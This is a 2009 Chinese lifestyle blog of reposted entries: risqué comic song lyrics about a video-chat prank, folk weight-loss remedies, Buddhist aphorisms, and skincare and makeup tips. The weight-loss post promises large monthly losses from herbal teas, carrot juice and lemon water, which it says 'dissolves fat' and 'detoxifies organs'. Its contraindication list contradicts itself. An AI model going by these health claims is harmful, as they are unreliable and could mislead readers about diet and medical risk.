女人你最大

[转]贱女人坏男人 [很搞笑的一首歌]

524509459@qq.com(女人你最大) — Wed, 25 Nov 2009 11:41:42 GMT

女：漂亮哥哥我在等你哦
男：今天晚上没事情
男：想找个M M来聊视频
女：干吗嘛
男：网上M M那么多
男：我也不晓得该找那一个
男：我在网上看了又看瞧了又瞧
男：还是没有找到
男：管不了太多随便找一个
男：反正我看了在说
男：我要请M M来视频
男：她一直说什么不答应

女：人家害羞嘛
男：为了看到她的脸
男：用尽了我所有的蜜语甜言
男：如今交友实在难泡的MM都是连哄带骗
男：那拇指都按酸我口水都说甘
男：她终于肯视频聊天

女：哥哥你帅吗
女：何只是帅！你听着
男：我是高大威猛英俊潇洒智勇双全气语不凡
男：风流涕淌玉树临风成熟稳重风趣幽默
男：举世无双绝无仅有空前绝后独一无二
男：前无古人后无来者只此一家别无分店）
女：不会吧！有没有那么好啊！那就看看吧！
男：视频很快转过来
男：我看见M M还长的有点乖
男：我很快就感使陶醉
男：说晚上我想找个M M睡
女：你真坏

男：M M说我有点坏
男：我说现在男人不坏女人不爱
男：如今的时代还谈什么恋爱
男：大家还都乱来
女：哥哥你喜不喜欢我嘛
男：喜欢
女：想不想和人家恩
男：你要干吗
男：现在慌实在慌 M M说要看我脱衣裳

女：快嘛快点嘛
男：虽然听的心头慌
男：一转眼马上脱的净光光
女：哇
男：美女说今天晚上我们两个耍的有一点奔放
男：结果我上当还被她照相
男：最后还发到网上

女：不要哭小弟弟！我已经看过咯!乖
男：为什么受伤的总是我
女：哎哥们弄的像个手枪一样干嘛呢？
女：我我我的抓忑我
男：视频很快就转过来
男：我看见M M还长的有点乖
男：我很快就感使陶醉
男：说晚上我想找个M M睡
女：又来一个了

男：M M说我有点坏
男：我说现在男人不坏女人不爱
男：如今的时代还谈什么恋爱
男：大家都在胡来
女：一起来一起来
男：啊！还来啊你们这不是胡来嘛
女：快点
男：怕了你们了！你们自己玩吧
女：快点
男：大姐您换句台词行嘛你骗人上瘾啦！
女：快点
男：您是吃复读机长大的呀！不理你了

[转]民间七大减肥法保你月瘦10斤

524509459@qq.com(女人你最大) — Tue, 24 Nov 2009 11:17:46 GMT

　　导读：想减肥又不想运动的MM注意啦，以下七种减肥偏方只要吃一吃就能减肥，还不需要特别节食的哦，很多人都能月减十斤呢。
　　1、生吃梨
　　减肥原理：将梨洗干净带皮生吃，可增加纤维量和获得多种维生素。一个清脆而汁水丰富的梨子，热量是50卡。
　　瘦身吃法：早餐一个梨子加一个鸡蛋
　　早上起床和一杯加了盐的水，然后吃一个梨子加一个鸡蛋即可，午餐可按照自己的习惯吃，但只能吃7分饱，并且避开油炸和油腻食物。晚餐以素菜和梨子为主，然后喝一碗蔬菜汤。
　　贴心提醒：三餐以外可千万别吃零食！饿了就吃梨。此方法坚持俩周效果逐渐明显，尤其是怕麻烦而减肥心切的姐妹们。

　　2、胡萝卜减肥法
　　1)鲜榨胡萝卜汁
做法：
　　1、将2根胡萝卜洗净，横切成圆块状。
　　2、把切好的胡萝卜放入榨汁机直到榨出呈黏稠状胡萝卜泥即可食用。
　　瘦身吃法：
　　每天喝胡萝卜汁1～2次，饭前喝，不必控制饮食，根据自身体质及身体状况确定饮用量，只要有毅力坚持一个月，就能轻松瘦10斤。
　　2)水煮胡萝卜
　　减肥原理：含有红萝卜素和维生素B1、B2、C、D、E、K以及叶酸、钙质和食物纤维等十几种营养素，使人体吸收营养更全面。含有的植物纤维能提高人体新陈代谢，达到自然减重的目的。
　　做法：
　　1、把1、2根胡萝卜洗净、切片。
　　2、在锅中倒入两碗水，然后放入胡萝卜片以中火煮到胡萝卜片变软为止。
　　瘦身吃法：
　　每天早上空腹将胡萝卜连汤一起喝下去，中饭和晚饭照常吃。如果要继续减肥，隔一个星期再服用，定能达到MM预期的目标。

　　3、鱼腥草减肥法
　　减肥原理：鱼腥草是“草药之王”，又称折耳根，臭菜草。鱼腥草微寒，有清热，解毒，利尿，消肿，软便，调整血压，排除毒素等作用。它有很强的利尿作用，它使毛细血管扩张，增加肾的血流量及尿液分泌，所以用来质量尿路感染的频尿涩痛。
　　1)、鱼腥草+红枣
　　材料：鱼腥草(干燥)75克，红枣切开15粒，水7大杯
　　做法：将所有材料放入锅中，加好水，以大火煮滚后，小火煮20分。将煮好后的鱼腥草等滤掉，留下汁水就可以了。
　　2)、鱼腥草泡水
　　材料：鱼腥草(干燥)75克
　　瘦身吃法：用开水泡入杯中，5分后就可饮用，可反复冲泡，每天坚持8杯，两周以上，瘦身效果显著。
　　贴心提醒：但是大家可不要以为这样就可以吃零食了啊，尽量吃些清淡的。

　　4、苦蒿减肥法
　　减肥原理：苦蒿又叫青蒿或者香蒿，清热，利尿。
　　减肥方法：在锅中加入4大碗水，放入40克苦蒿，煮10分，晾5分后喝，一天三次，一次一杯，也可当饮料随时喝。
　　缺点：有点苦，但是减肥嘛，牺牲点值得
　　姐妹们有俩个月瘦17斤的，有半个月瘦7斤的，也有一个月瘦六斤的。药店也卖的，大家都可以尝试，千万要吃的清淡点啊。

　　5、柠檬水减肥法
　　减肥原理：柠檬是世界上最有药用价值的水果之一，它富含维生素C、柠檬酸、苹果酸、高量钾元素和低量钠元素等，对人体十分有益。柠檬食谱的主要目的是启动身体的自我净化过程，溶解多余的脂肪，清除身体各种器官(肝、肾、肺、淋巴系统以及皮肤)的废物和毒素，净化血液，改善血质，促进新陈代谢，清洁并修复整个消化吸收系统，增强消化能力，调整吸收平衡。
　　特别提醒的是，有些人不适合这个减肥方法：
　　1、暑热口干烦躁、消化不良者，维生素C缺乏者，胎动不安的孕妇，肾结石患者，高血压、心肌梗死患者适宜食用；
　　2、胃溃疡、胃酸分泌过多，患有龋齿者和糖尿病患者慎食。
　　柠檬水可以解渴且冲淡想吃东西的欲望，因此可有效抑制不当饮食，加上一天总共15分钟的运动，效果会十分显著。这套减肥法现在在日本是最流行的，在家里自己操作就可以达到减肥的效果，所以被称为“家庭主妇”式的喝水节食法，十分有效。
　　减肥方法：
　　1、一公升的水里加上半粒柠檬原汁，并置於冰箱里，温度较低易有清凉爽口的感觉。
　　2、每日至少喝下三公升的柠檬水，不需特别节食或禁绝零食，但必须时时补充柠檬水。
　　3、必须搭配每日15分钟运动，不必持续进行，分散时间亦可有助于排汗，目的是为了排除体内有害物质。

[转]您要的图片都有

524509459@qq.com(女人你最大) — Sat, 21 Nov 2009 15:52:32 GMT

1.梅花:
鼠标点击梅开一枝红梅雪梅鸟动　黄梅争开亮梅引蝶　飞鸟红梅开　　　　寒梅傲雪四株粉梅梅开四株娇艳欲滴粉梅飘落鸟上下两枝梅
黄梅争艳　红梅鸟蜂诗梅窗格梅簇灯盏静静红梅女孩画梅
干枝红梅白梅月伞褐枝梅花粉梅静芳小褐枝梅粉梅争开
两朵紫梅　梅雪图片梅雪图1 梅雪图2 飘雪梅鸟飘雪竹梅
雪影黄花双鸟闹梅情侣雪梅干枝红梅梅引鸟蜂　红鸟梅飘

2.草和小花
牵牛花藤一枝牵牛花枝叶摇摆两丛绿草摇曳秋草紫色花丛
向日葵花蜻蜓和花排花蜻蜓蜻蜓花丛牵牛花草蜻蜓戏花
两簇紫花白花摇曳四朵红花黄白花丛紫瓶和花双蝶花点
桂花秋叶摇曳绿草飘动绿枝蘑菇花草花草晃动花儿摇曳
杜鹃引蝶
3.玫瑰:
黄红玫瑰玫红两朵下三色玫花束转出红玫花开花篮小车
黄玫引蝶　一枝玫瑰　两朵玫瑰一束玫瑰鸟来蔷薇
4.枝藤叶条:
柳枝1 丝瓜小鸡鸟和葡萄右枝枫叶垂条飘动动柳
5.花枝和花朵飘落:
蓝梅朵落下蓝梅大朵落蓝底粉梅左枝梅落左枝粉落　
左枝梅瓣飘左红梅飘落白梅飘瓣白花飘落紫菊朵舞　　　　彩球和花白菊朵落彩朵乱舞花朵右飘梅枝落红
　　　粉花旋转粉瓣飘零花团飘瓣
6.牡丹:
两朵牡丹牡丹花鸟花蕾和鸟花儿摇曳紫色牡丹红蓝牡丹
7.荷花　
金鱼荷花金鱼荷蕾粉莲独放细荷在开粉荷摇摆一朵独放
　　　莲蓬荷花白莲蓝底粉荷争艳右下荷花荷花两朵
8.花儿飘零
梅朵飘落黄花上浮粉瓣飘零松树白花左上白花垂枝花飘　
9.雪雨
雪落黄花秋草和雪六瓣雪飘雪花乱舞雪花飘落大雪纷飞　　　　　　　雪点乱舞漫天飞雪三星转雪鼠标点雪

10花簇
一排紫花右边黄花左边黄花红花争艳花架紫藤小花气泡花簇　　　　　　桃红闪花槐花和鸟黄花和草白菊摇曳紫色葵花蜻蜓花窗
11.心　
花儿组心两心飞散兰星绽放星光珠帘菊朵花钟兰花
12.菊花
两朵黄菊小车粉菊两簇黄花漂亮菊花菊黄蟹肥
13.人物
女孩嗅花天女散花女孩和花花丛女孩临窗女孩女孩
14.竹子
竹子月亮摇曳竹林

[转]百句佛语养你心性

524509459@qq.com(女人你最大) — Sat, 21 Nov 2009 15:51:34 GMT

1、人之所以痛苦，在于追求错误的东西。　
2、与其说是别人让你痛苦，不如说自己的修养不够。　
3、如果你不给自己烦恼，别人也永远不可能给你烦恼。因为你自己的内心，你放不下。
4、好好的管教你自己，不要管别人。　
5、不宽恕众生，不原谅众生，是苦了你自己。　
6、别说别人可怜，自己更可怜，自己修行又如何？自己又懂得人生多少？　
7、福报不够的人，就会常常听到是非；福报够的人，从来就没听到过是非。　
8、你永远要感谢给你逆境的众生。
9、你永远要宽恕众生，不论他有多坏，甚至他伤害过你，你一定要放下，才能得到真正的快乐。
10、这个世界本来就是痛苦的，没有例外的。　
11、当你快乐时，你要想这快乐不是永恒的。当你痛苦时，你要想这痛苦也不是永恒的。
12、认识自己，降伏自己，改变自己，才能改变别人。
13、不要浪费你的生命在你一定会后悔的地方上。
14、你什么时候放下，什么时候就没有烦恼。
15、每一种创伤，都是一种成熟。
16、当你知道迷惑时，并不可怜，当你不知道迷惑时，才是最可怜的。
17、狂妄的人难救，自卑的人更难救。
18、你不要一直不满人家，你应该多检讨自己才对。不满人家，是苦了你自己。
19、你要包容那些意见跟你不同的人，这样子日子比较好过。你要是一直想改变他，那样子你会很痛苦。要学学怎样忍受他才是，怎样包容他才是。
20、承认自己的伟大，就是认同自己的愚痴。
21、一个人如果不能从内心去原谅别人，那他就永远不会心安理得。
22、心中装满着自己的看法与想法的人，永远听不见别人的心声。
23、毁灭人只要一句话，培植一个人却要千句话，请你多口下留情。
24、当你劝告别人时，若不顾及别人的自尊心，那么再好的言语都没有用的。
25、不要在你的智慧中夹杂着傲慢，不要使你的谦虚心缺乏智慧。
26、根本不必回头去看咒骂你的人是谁？如果有一条疯狗咬你一口，难道你也要趴下去反咬他一口吗？
27、忌妒别人，不会给自己增加任何的好处。忌妒别人，也不可能减少别人任何的成就。
28、永远不要浪费你的一分一秒，去想任何你不喜欢的人与事。
29、多少人要离开这个世间时，都会说出同一句话：这世界真是无奈与凄凉啊！
30、恋爱不是慈善事业，不能随便施舍的。感情是没有公式，没有原则，没有道理可循的，可是人们至死都还在执著与追求。
31、请你用慈悲心和温和的态度，把你的不满与委屈说出来，别人就容易接受。
32、创造机会的人是勇者，等待机会的人是愚者。
33、能说不能做，不是真智慧。
34、多用心去倾听别人怎么说，不要急着表达你自己的看法。
35、同样的瓶子，你为什么要装毒药呢？同样的心理，你为什么要充满着烦恼呢？
36、得不到的东西，我们会一直以为他是美好的，那是因为你对他了解太少，没有时间与他相处在一起。当有一天，你深入了解后，你会发现远不是你想像中的那么美好。
37、方正存心，圆通处世。
38、活着一天，就是有福气，就该珍惜。当我哭泣没有鞋子穿的时候，我发现有人却没有脚。
39、多一分心力去注意别人，就少一分心力反省自己，你懂吗？
40、欲知世上刀兵劫，但听屠门夜半声。不要光埋怨自己多病，灾祸横生，多看看横死在你刀下的众生又有多少？
41、憎恨别人对自己是一种很大的损失与伤害。
42、每一个人都拥有生命，但并非每个人都懂得生命，乃至于珍惜生命。虚度生命的人，生命对他来说，并没有多大意义，滥用生命的人，生命对他来说，是一种惩罚。
43、自以为拥有财富的人，其实是被财富所拥有。
44、情执是苦恼的原因，放下情执，你才能得到自在。
45、随缘不是得过且过，因循苟且，而是尽人事听天命，积极乐观面对境缘，而不妄求，贪着。
46、不要太肯定自己的看法，这样子比较少后悔。
47、当你对自己诚实的时候，世界上没有人能够欺骗得了你。
48、用伤害别人的手段来掩饰自己缺点的人，是可耻的。
49、内心充满忌妒，心中不坦白，言语不正的人，不能算是一位五官端正的人。
50、多讲点笑话，以幽默的态度处事，这样子日子会好过一点。

51、活在别人的掌声中，是禁不起考验的人。
52、不要刻意去猜测他人的想法，如果你没有智慧与经验的正确判断，通常都会有错误的。
53、要了解一个人，只需要看他的出发点与目的地是否相同，就可以知道他是否真心的。
54、人生的真理，藏在平淡清净之中。
55、不洗澡的人，硬擦香水是不会香的。名声与尊贵，是来自于真才实学的。有德自然香。
56、与其你去排斥已成的事实，你不如勇敢接受。
57、逆境是成长必经的过程，能勇于接受逆境的人，生命就会日渐的茁壮。
58、要感谢告诉你缺点的人。
59、能为别人设想的人，永远不寂寞。
60、如果你能像看别人缺点一样，如此准确般的发现自己的缺点，那么你的生命将会不平凡。
61、原谅别人，就是给自己心中留下空间，以便回旋。
62、时间总会过去的，让时间流走你的烦恼吧！
63、你硬要把单纯的事情看得很严重，那样子你会很痛苦。
64、永远扭曲别人善意的人，无药可救。
65、人不是坏，只是习气罢了，每个人都有习气，只是深浅不同罢了。只要他有向善的心，能原谅的就原谅他，不要把他总看做是坏人。
66、说一句谎话，要编造十句谎话来弥补，何苦呢？　　　
67、其实爱美的人，只是与自己谈恋爱罢了。
68、世界上没有一个永远不被毁谤的人，也没有一个永远被赞叹的人。当你话多的时候，别人要批评你，当你话少的时候，别人要批评你，当你沉默的时候，别人还是要批评你。在这个世界上，没有一个人不被批评的。
69、只会夸奖我们，赞叹我们的，这都不是明师，能批评我们，启示我们的，这才是明师，有了他们我们才会进步。
70、你目前所拥有的都将随着你的死亡而成为他人的，那为何不现在就乐意施给真正需要的人呢？
71、白白的过一天，无所事事，就像犯了窃盗罪一样。
72、沉默是毁谤最好的答复。
73、对人恭敬，就是在庄严你自己。
74、拥有一颗无私的爱心，便拥有了一切。
75、仇恨永远不能化解仇恨，只有宽容才能化解仇恨，这是永恒的至理。
76、你接受比抱怨还要好，对于不可改变的事实，你除了接受以外，没有更好的办法了。
77、不要因为众生的愚疑，而带来了自己的烦恼。不要因为众生的无知，而痛苦了你自己。
78、别人讲我们不好，不用生气、难过。说我们好也不用高兴，这不好中有好，好中有坏，就看你会不会运用？
79、当你的错误显露时，可不要发脾气，别以为任性或吵闹，可以隐藏或克服你的缺点。
80、不要常常觉得自己很不幸，世界上比我们痛苦的人还很多，抛开自由的悲切，去帮助他人。
81、愚痴的人，一直想要别人了解他。有智慧的人，却努力的了解自己。
82、来是偶然的，走是必然的，要学着随缘不变，不变随缘。
83、只有面对现实，你才能超越现实。
84、良心是每一个人最公正的审判官，你骗得了别人，却永远骗不了你自己的良心。
85、不懂得自爱的人，是没有能力去爱别人的。
86、做事就是在学做人而已。
87、有时候我们要冷静问问自已，我们在追求什么？我们活着为了什么？
88、不要因为小小的争执，远离了你至亲的好友，也不要因为小小的怨恨，忘记了别人的大恩。
89、勇于接受别人的批评，正好可以纠正自己的缺点。
90、感谢上天我所拥有的，感谢上天我所没有的。

91、说话不要有攻击性，不要有杀伤力，不夸已能，不扬人恶，自然能化敌为友。
92、一个常常看别人缺点的人，自己本身就不够好，因为他没有时间检讨他自己。
93、是非天天有，不听自然无，是非天天有，不听还是有，是非天天有，看你怎么办？
94、如果你真的爱他，那么你必须容忍他部份的缺点。　　
95、你必须要接受世上所有的人，都会死去的观念。当你明白生命是永恒的，就能克服对死亡的恐惧，欢喜求生西方极乐清净平等的佛土。
96、虽然你讨厌一个人，但却又能发觉他的优点好处，像这样子有修养的人，天下真是太少了。
97、诚实的面对你内心的矛盾和污点，不要欺骗你自己。
98、因果不曾亏欠过我们什么，所以请不要抱怨。
99、我们确实有如是的优点，但也要隐藏几分，这个叫做涵养。
100、大多数的人一辈子只做了三件事；自欺、欺人、被人欺。
101、太过于欣赏自己的人，不会去欣赏别人的优点。
102、妄心是最大的骗子，别人能骗你一时，而它却会骗你一辈子。
103、当你手中抓住一件东西不放时，你只能拥有这件东西，如果你肯放手，你就有机会选择别的。人的心若死执自己的观念，不肯放下，那么他的智慧也只能达到某种程度而已。
104、人家怕你，并不是一种福，人家欺你，并不是一种辱。
105、不是某人使我烦恼，而是我拿某人的言行来烦恼自己。
106、不要刻意去曲解别人的善意，你应当往好的地方想。
107、世上的事，不如己意者十之****，当它是应该的就好。
108、我的财富并不是因为我拥有很多，而是我要求的很少，布施供养别人的很多。
109、以为别人在注意你，或希望别人注意你的人，会生活的比较烦恼。
110、我能为你煮东西，但我不能为你吃东西。各人吃饭是各人饱，各人生死是个人了。
111、看轻别人很容易，要摆平自己却很困难。
112、如果你准备结婚的话，告诉你一句非常重要的哲学名言，你一定要忍耐包容对方的缺点，世界上没有绝对幸福圆满的婚姻，幸福只是来自于无限的容忍与互相尊重。
113、如果你能够平平安安的渡过一天，那就是一种福气了。多少人在今天已经见不到明天的太阳，多少人在今天已经成了残废，多少人在今天已经失去了自由，多少人在今天已经家破人亡。
114、是非和得失，要到最后的结果，才能评定。
115、你不必和因果争吵，因果从来就不会误人。你也不必和命运争吵，命运它是最公平的审判官。
116、你有你的生命观，我有我的生命观，我不干涉你。只要我能，我就诚心感化你。如果不能，那我就坦然认命。
117、你希望掌握永恒，那你必须控制现在。
118、恶口永远不要出自于我们的口中，不管他有多坏，有多恶。你愈骂他，你的心就被污染了，你要想，他就是你的善知识，至少你该学着忘记。
119、当你明天开始生活的时候，有人跟你争执，你就让他赢，这个赢跟输，都只是文字的观念罢了。当你让对方赢，你并没有损失什么。所谓的赢，他有赢到什么？得到什么？所谓的输，你又输到什么？失去什么？
120、你不要常常觉得自己很委曲，你应该要想，我这样子已经很好了，这就是修行的功夫。
121、别人可以违背因果，别人可以害我们，打我们，毁谤我们。可是我们不能因此而憎恨别人，为什么？我们一定要保有完整的本性和一颗清净的心。　　　
122、与任何人接触时，要常常问自己，我有什么对他有用，使他得益？如果我不能以个人的道德、学问和修持的力量，来使人受益，就等于欠了一份债。
123、如果一个人没有苦难的感受，就不容易对他人给予同情。你要学救苦救难的精神，就得先受苦受难。如觉自己受苦受难太多，则经常可以上《经典文章》修心养性。
124、一般人在遇到对方的权势大，财富大，气力大，在无可奈何的情形之下而忍，这算什么忍耐呢？真正的忍是，就算他欺负了你，对不住你，但他什么都不及你，你有足够的力量对付他，而你却能容忍他，认为他的本性和我一样，只是一时糊涂，或在恶劣的环境中受到熏染罢了，你不必与他计较，能在这样的情况及心境之下容忍那才是真正的忍耐。　　　
125、如果我们放眼从累生历劫去看，那么一切的众生，谁不曾做过我的父母、兄弟姊妹、亲戚眷属？谁不曾做过我的仇敌冤家？如果说有恩，个个与我有恩；如果说有冤，个个与我有冤。这样子我们还有什么恩怨亲疏之别呢？再就智慧愚笨来说，人人有聪明的时候，也有愚痴的时候，聪明的人可能变愚痴，愚痴的人也可能变聪明。最坏的人，也曾做过许多好事，而且不会永远坏；好人也曾做过许多坏事，将来也不一定会好。如此我们反覆思索，所谓的冤亲、贤愚，这许多差别的概念，自然就会渐渐淡了。这绝对不是混沌，也不是不知好坏，而是要将我们无始以来的偏私差别之见，代之以一视同仁的平等观念罢了！
126、世界原本就不是属于你，因此你用不着抛弃，要抛弃的是一切的执著。万物皆为我所用，但非我所属。
127、宁可自己去原谅别人，莫让别人来原谅你。
128、当你用烦恼心来面对事物时，你会觉得一切都是业障，世界也会变得丑陋可恨。而相反，当你用感恩的心来面对事物时，你会觉得一切都是助缘，世界也会变得美好可亲。
129、欲为诸佛龙象，先做众生马牛。
130、虽然我们不能改变周遭的世界，我们就只好改变自己，用爱心和智慧来和智慧来面对这一切.

清晨护肤7部曲

524509459@qq.com(女人你最大) — Fri, 20 Nov 2009 17:41:05 GMT

A、早晨护理，可以延缓老化进程

　　肌肤在白天要应对各种刺激，紫外线、空调、大气污染和灰尘，如果早上不好好护理皮肤，让皮肤完全暴露在恶劣环境中，无疑会导致老化的步伐加速。　

B、最重要的是清洁，但不一定要用香皂

　　早上要记得将夜晚排出的老废物质清除，让肌肤恢复纯净状态。香皂当然是洗得最干净的，但一定要细心冲洗，不能有任何残留。如果嫌麻烦，也可用普通的保湿化妆水擦脸，用化妆棉吸收足够的化妆水，从内向外擦，不要拉扯皮肤。化妆棉脏了就换另一面、或者换一张，直到全部擦干净。

C、正因为赶时间，才要敷面膜

　　如今的面膜已经相当方便，敷上棉膜再吃早饭、刷牙都可以。只要几分钟，就能促进新陈代谢，让肌肤完全苏醒，补充大量能量，何乐而不为？

D、眼部护理用长效滋润产品

　　一般人在早上只想到消除浮肿和黑眼圈，可是考虑到未来十多个小时，眼睛要应付电脑工作和强烈阳光，就明白选择长时间保持滋润的眼部护理产品有多么重要了。最好能随身携带，随时为眼部补充滋润。

E、油性皮肤，早晨轻拍最有效

　　油性皮肤的人本身会分泌油脂，所以使用滋润产品时，用量应少一些。可以用化妆棉吸取大量化妆水，垂直地轻拍，让皮肤滋润、饱满，只涂薄薄一层润肤霜，就能获得很好的效果。

F、要想不油腻，请重视清除毛孔污垢

　　T区比较容易油腻，有些人喜欢用吸油的修正液，但涂得太多，又有憋闷感，而且粉底很难涂得漂亮。所以最好还是用深层洁面品，将毛孔中的油脂清除干净。

G、防晒品和粉底最好配套

　　紫外线不但让肤色加深、出现色斑，还让皮肤纹理混乱、失去弹性。所以最好不要晒太阳。其次，就算涂了防晒霜，还应再一层防紫外线粉底。因为防晒霜是透明的，什么时候褪掉了都不知道，而粉底就明显得多，绝对不会有不小心晒过头的担心。

清晨保湿5步速变水润美女

524509459@qq.com(女人你最大) — Fri, 20 Nov 2009 17:38:59 GMT

肌肤加速变干燥时，最重要且最有效的方法是加强保湿。如果你实践了以下针对干性肌肤的“清晨美容”提议后，肌肤会变得湿润许多！ Step1：洁面毛巾洗脸法　　这里说的毛巾，是指洗脸用的毛巾粉扑、绢质粉扑等等。当你感到肌肤粗涩不光滑，特别是出现白色粉刺等堵塞毛孔时，用毛巾轻轻地揉洗皮肤，去掉肌肤表面还很柔软的角质层，清除堵塞毛孔的皮屑、粉刺、油脂，因为这些堵塞物仅用手掌洗脸是清除不掉的。
Step2：保湿化妆水洁面后3分钟内使用保湿力强的化妆水　　化妆水是洁面后，为了湿润角质而使用的保湿护肤品。　　选择使用简单、保湿能力强的产品为佳，最重要的还是在于洁面后立刻喷抹。
Step3：乳液、润肤油锁住水分不外散，油分补给不可缺　　肌肤干燥了，往往立刻只会想到补水，但好不容易补给的水分也会慢慢蒸发掉，这样是无法保持肌肤一整天的湿润。而乳液与润肤油可以起到锁水的作用。同时，肌肤自身的锁水机能也可得到强化，提高肌肤湿润度，早晨是最好的“补油”时间。
Step4：化妆水二次使用化妆水，提高保湿效果　　涂完保湿乳液后，再一次使用肌肤水。因为对于肌肤干燥的人，一次保湿护理无法给予充分的水分补给。早晨，第一次补水已被肌肤完全吸收，这成为化妆也无法遮盖的空洞。因此，分开两次进行补水护理十分见效，你也可以根据肌肤的状况反复使用这个方法。
Step5：做隔离紫外线护理涂抹防晒霜的手法要轻柔擦防晒品时，千万不要过度用力　　太过用力会使防晒品的效力降低25%；涂抹的厚度要注意的是，每次有1-2ml的使用量才有效，而一般大家使用防晒品的过程中，通常都无法达到这样的厚度，所以才会导致防晒品没能产生足够的防御能力，并且在接触日晒15-30分钟后，必须补擦一次防晒品，之后每2-3小时都需要补充一次

化妆的常规步骤

524509459@qq.com(女人你最大) — Fri, 20 Nov 2009 17:30:46 GMT

正确的化妆步骤如下：
1．洁面：用有效的清洁用品彻底清洁皮肤。
2．护肤：涂抹能改善并保护皮肤的护肤品，包括紧肤水或爽肤水、面霜、眼霜。

3．打粉底：好的化妆应使用几种颜色的粉底，将面部呈现出立体效果，显示出明暗差异。
4．修眉毛：描画之后再用眉挟和眉剪修整。
5．画眼：画眼的顺序是眼影一眼线一鼻翼一睫毛。
6．涂腮红：涂腮红的同时应注意修饰脸的其他部位，如额和下颌。
7．涂口红：先用唇线笔描画，再用唇刷或口红棒涂抹。
OL日常上班妆容的化妆步骤：
1．清洁面部皮肤：在未涂敷底色之前，必须将面部皮肤的不洁之物除去，才能开始化妆。除去面部油污的方法，一般有油洗和水洗两种。如果条件允许，最好是油洗，即选用洗面霜、清洁霜这类的油质皮肤清洁剂洗面。它的优点是，既能除去面部油污，使面部洁净，又能保护皮肤，免除肥皂等碱性物质对皮肤的不良刺激。

2．用爽肤水轻按面布和颈部，然后再加一层有色润肤液，使未经化妆的面部洁净、清爽而滋润。这种有色润肤液，不仅对皮肤有益无害，而且能增强化妆品效能，使妆容持久、均匀、细柔，色泽也不易改变。特别是夏季，使用润肤液可使皮肤呈现天然的日晒色，有利于保护皮肤。

3．打粉底：用少量粉底涂在脸上，再用棉球或海绵将粉底仔细地抹匀，一直抹到鬓边，以免出现痕迹。如果要遮盖眼睛上部的黑圈或面部的暇疵，可先涂上遮暇膏，并用海绵抹匀。但应注意，千万不要涂到眼下细柔的皮肤上。
4．涂眼影：用毛刷清扫眼影，使不同颜色的眼影刷得更加均匀。然后，在眼险内侧涂上较深的眼影，以衬托出鼻子的线条，这是我们东方人脸型常用的一种技巧。

5．画眼线：用黑色眼线在上下睫毛线上画眼线，这样眼睛就显得炯炯有神，使人增添魅力。

6．化睫毛：用睫毛膏，从睫毛下侧面上扫两次，待干。当扫下睫毛时，可先用睫毛捧扫一次，再用干净的睫毛刷轻扫。

7．打胭脂：打上胭脂，能使整个脸部显得柔美自然，也能使颧骨显得突出。然后再用同色胭脂轻扫太阳穴部位，便可使面部色彩显得浓淡和谐。
8.画唇形: 首先在原来的唇线上搽粉底，再打粉，然后用唇笔画出所设计的唇形。在上下唇中加上珠光唇彩，以增光泽。

完成上述几个步骤后，日常妆就算化完了。化妆完毕的面容应毫无痕迹，并显得典雅大方。这样，就算达到面容化妆的预期效果。
彩妆的7大化妆技巧
你是否常常惊叹别人可以化出如此精致的妆容，暗地里自己无论怎样努力也达不到同样的效果呢？不要泄气，其实要化个好妆并不难，现在就让我们分享一些美容小秘诀吧！　　1、紧贴肌肤的粉底
　　可使出色的彩妆更完善，方法很简单，你只要先把微湿的化妆海绵放到冰箱里，几分钟后，把冰凉的海绵拍在抹好粉底的肌肤上，你就会觉得肌肤格外清爽，彩妆也显得特别清新。
　　2、清凉的眼药水
　　喝酒或缺乏睡眠会使你的双眼看来非常疲倦，布满血丝。你可以滴上一两滴具有缓和疲劳效果的眼药水，使眼部毛细血管充血、破裂的病状得到舒缓，但眼药水不是越多越好，过多反而可能出现不良的效果。
　　3、管用的眉粉
　　如果你总觉得拿着眉笔的手不听使唤，画不出令人满意的眉毛。不妨做个新尝试：用眉笔在手臂上涂上颜色，用眉刷蘸上颜色，均匀地扫在眉毛上，你会意外地得到更为自然柔和的化妆效果。
　　4、冷毛巾
　　红肿的双眼，鼓鼓的眼袋使你显得无精打采，别慌，把冷毛巾和热毛巾交替敷在双眼上10多分钟，再用冰毛巾敷一会儿，疲倦不堪的双眼就会回复神采。
　　5、桌上平放小镜子
　　描画细致眼线对你可能是一大难题，其实也不难，你要做的是先把手肘放在一个固定的地方，比如你的化妆台，在桌上平放一面小镜子，让双眼朝下望向镜子，就可以放心描画眼线了。
　　6、白色眼线笔
　　眼睛是心灵之窗，大而明亮的双眸往往给人留下深刻的印象，你可以尝试用白色的眼线笔来描画下眼线，使一双眼睛显得更大更有神采。
　　7、喷雾保湿水
　　化妆完毕，从离开面部一手臂的距离往脸上喷上保湿水，妆容可以更加持久。

不同脸型修饰大讲堂

524509459@qq.com(女人你最大) — Fri, 20 Nov 2009 17:29:33 GMT

化妆之脸型修饰:一般所谓的脸型修饰，就是将脸型修正成标准的蛋型脸。但由于每一个人的脸型各有不同，因此针对各式不同的脸型，修容的重点也不尽相同。
■标准脸（蛋型脸）
此乃最标准的蛋型脸。颧骨较不明显，脸型长短宽窄也配合地最适宜。由上额至下巴分为三等分之构造：(1)发际下至眉头一等分。(2)眉头下至鼻头为一等分。(3)鼻头下至下巴为一等分。
修饰技巧：在额头与鼻梁以亮彩处理能增加脸部立体感，而在两腮刷上暗影，会使脸型更加明显。
■长型脸
脸部较狭长，有的是额部长，有的是下巴长，脸长多给人不够柔和的感觉。
修饰技巧：需在全脸打上均匀肤色粉底后，在两腮和下巴部位加上深色粉底，使脸看来短一些，显得较为秀丽。而头发也不可中分或梳得太高，前额以流海为宜。
■圆型脸
最可爱的脸型就是圆型脸，其特征是脸型太圆，缺乏立体感。
修饰技巧：可在两腮和额头两边加深色粉底，下巴和额头中间加白色粉底，如此圆脸就会感觉修长些，也有立体感。而头发可往上面梳，但不要梳得太宽，可中分。
■方型脸
脸型方方正正，上额宽大，面额也宽大，下巴稍嫌狭小，缺乏温柔感觉。
修饰技巧：需在宽大的两腮和额头两边加深色粉底，额头中间和下巴加白色粉底，如此方型脸就显得修长些。而两颊头发不适合太短，宜往前面梳。
■正三角型脸
特征是上窄下宽，额头窄小，两腮方大，看起来有点呆板。
修饰技巧：为补救脸型缺点，需在两腮较宽部位加深色粉底，来使其达到收缩的视觉作用。而在狭小额头和下巴加上白色粉底，使之突出饱满，而达到修容效果。而发型以自然为宜，切忌往上梳。
■倒三角型脸
脸型比较尖，具有上宽下窄的特征，即上半部脸较宽，下半部较消瘦，消瘦的脸予人一种不快活的感觉。
